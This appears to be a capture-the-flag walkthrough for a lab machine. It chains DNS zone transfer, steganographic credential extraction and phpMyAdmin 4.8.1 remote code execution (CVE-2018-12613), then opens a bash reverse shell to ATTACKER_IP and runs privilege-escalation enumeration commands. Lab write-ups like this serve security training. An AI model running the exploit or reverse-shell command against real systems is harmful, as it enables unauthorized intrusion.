Morty Has Fallen-Full Walkthrough

🏴‍☠️ Compromised by Cybernerddd

Overview

This machine was a multi-stage web exploitation challenge that required chaining together several real-world techniques:

• Subdomain enumeration
• Steganography
• Credential discovery
• phpMyAdmin exploitation (CVE-2018–12613)
• Remote Code Execution (RCE)
• Post-exploitation enumeration

Rather than relying on brute force, this challenge emphasized thinking, pivoting, and chaining vulnerabilities.

Initial Reconnaissance

A basic scan revealed the following open ports:

22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http

Visiting the web server gave revealed directory exploration:

/note.html

📝 Note Content

“Morty, if you read this: I’ve already configured your domain ‘mortysserver.com’ on the server…” -Rick

Subdomain Discovery

After adding the domain locally:

/etc/hosts

10.150.150.57 mortysserver.com

A new page appeared containing an image with the hint:

“Is it a password? Maybe.”

Steganography Discovery

At first glance, the password hint (Fl4sk#!) did not work anywhere.

Instead of brute forcing, I suspected hidden data inside the image. Downloaded the image and extracted the info.

Extraction

steghide extract -sf screen.jpeg

Using the hinted password as passphrase:

Fl4sk#!

Result

rick:WubbaLubbaDubDub1!

This was the real credential pair.

Accessing phpMyAdmin

dig axfr mortysserver.com @<IP> 

A DNS zone transfer revealed:

rickscontrolpanel.mortysserver.com

Visiting it exposed a phpMyAdmin panel.

Using extracted credentials:

Username: rick
Password: WubbaLubbaDubDub1!

✅ Successfully logged in.

Vulnerability Identification

Version identified:

phpMyAdmin 4.8.1

This version is vulnerable to:

CVE-2018–12613 — Remote Code Execution

Exploitation (RCE)

Using a public exploit adapted for the correct path:

python exploit_php.py rickscontrolpanel.mortysserver.com 80 / rick 'WubbaLubbaDubDub1!' id

📌 Output

uid=33(www-data) gid=33(www-data)

Remote Code Execution achieved.

Reverse Shell

To upgrade access:

nc -lvnp 4444

Then:

python exploit_php.py rickscontrolpanel.mortysserver.com 80 / rick 'WubbaLubbaDubDub1!' "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Shell received as www-data.

Post-Exploitation

System enumeration began:

uname -a
sudo -l
getcap -r /
find / -type f -perm -04000 -ls 2>/dev/null

No direct privilege escalation path was found.

Final Flag Discovery

Instead of forcing privesc, a global search was performed:

find / -iname "FLAG*" 2>/dev/null

📌 Result

/home/morty/FLAG3.txt
cat /home/morty/FLAG3.txt

Final Flag obtained.

Key Lessons Learned

1. Don’t trust obvious passwords

• Fl4sk#! was a decoy / stego key, not the actual password.

2. Think laterally

• Hidden data (steganography) was the real entry point.

3. Chain vulnerabilities

DNS → Subdomain → Stego → Credentials → phpMyAdmin → RCE → Shell

4. Don’t overcomplicate endgame

• Root access was NOT required.
• Misconfigured file permissions exposed the flag.

🏁 Conclusion

This machine demonstrated how real-world attacks often rely on:

• Observation over brute force
• Creativity over automation
• Chaining over single exploits

🏴‍☠️ Final Status

Morty has fallen.

Compromised by:

Cybernerddd

🔗 Connect With Me

• GitHub: https://github.com/cybernerddd
• LinkedIn: https://linkedin.com/in/cybernerddd